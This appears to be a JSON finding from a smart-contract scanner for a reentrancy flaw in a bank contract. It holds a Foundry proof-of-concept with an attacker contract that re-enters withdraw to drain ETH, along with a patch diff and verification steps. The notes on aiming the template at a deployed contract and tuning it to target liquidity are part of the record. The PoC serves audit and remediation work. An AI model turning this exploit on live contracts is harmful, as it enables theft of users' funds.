{
  "vulnerability_type": "reentrancy",
  "source_finding_id": "VULN-001",
  "title": "Reentrancy in withdraw allows repeated withdrawals before balance reset",
  "foundry_test_filename": "test/VulnerableBank.PoC.t.sol",
  "foundry_test_code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\n\ninterface IVulnerableTarget {\n    function deposit() external payable;\n    function withdraw() external;\n    function balances(address user) external view returns (uint256);\n}\n\ncontract ReentrancyAttacker {\n    IVulnerableTarget public target;\n    uint256 public loops;\n    uint256 public maxLoops;\n\n    constructor(address _target) {\n        target = IVulnerableTarget(_target);\n    }\n\n    function attack(uint256 _maxLoops) external payable {\n        require(msg.value > 0, \"need ETH\");\n        maxLoops = _maxLoops;\n        target.deposit{value: msg.value}();\n        target.withdraw();\n    }\n\n    receive() external payable {\n        if (address(target).balance > 0 && loops < maxLoops) {\n            loops++;\n            target.withdraw();\n        }\n    }\n}\n\ncontract ReentrancyPoCTest is Test {\n    // TODO: replace with deployed vulnerable contract address\n    address constant TARGET = address(0x1234567890123456789012345678901234567890);\n\n    IVulnerableTarget target;\n    ReentrancyAttacker attacker;\n\n    function setUp() public {\n        target = IVulnerableTarget(TARGET);\n        attacker = new ReentrancyAttacker(TARGET);\n\n        // Fund attacker EOA used to trigger exploit\n        vm.deal(address(this), 10 ether);\n    }\n\n    function test_reentrancy_drain() public {\n        uint256 beforeTargetBalance = address(TARGET).balance;\n\n        // Seed attacker and execute exploit loop\n        attacker.attack{value: 1 ether}(5);\n\n        uint256 afterTargetBalance = address(TARGET).balance;\n        assertLt(afterTargetBalance, beforeTargetBalance, \"target should lose ETH\");\n        assertGt(address(attacker).balance, 1 ether, \"attacker should profit\");\n    }\n}\n",
  "patch_diff": "diff --git a/contracts/VulnerableBank.sol b/contracts/VulnerableBank.sol\n--- a/contracts/VulnerableBank.sol\n+++ b/contracts/VulnerableBank.sol\n@@\n-    function withdraw() public {\n-        uint256 amount = balances[msg.sender];\n-        (bool success, ) = msg.sender.call{value: amount}(\"\");\n-        require(success, \"Transfer failed\");\n-        balances[msg.sender] = 0;\n-    }\n+    function withdraw() public {\n+        uint256 amount = balances[msg.sender];\n+        require(amount > 0, \"No balance\");\n+        balances[msg.sender] = 0;\n+        (bool success, ) = msg.sender.call{value: amount}(\"\");\n+        require(success, \"Transfer failed\");\n+    }\n",
  "verification_steps": [
    "Place generated file under test/ in your Foundry project.",
    "Set TARGET address and align interface selectors to victim contract.",
    "Run: forge test --match-test test_reentrancy_drain -vvv (or full suite).",
    "Apply patch diff on vulnerable function.",
    "Re-run /scan and forge tests to confirm finding removal and exploit failure."
  ],
  "notes": [
    "Template assumes target contract exposes deposit()/withdraw()/balances().",
    "Replace TARGET constant with deployed vulnerable contract address.",
    "Tune attack loop count and seed value based on target liquidity."
  ]
}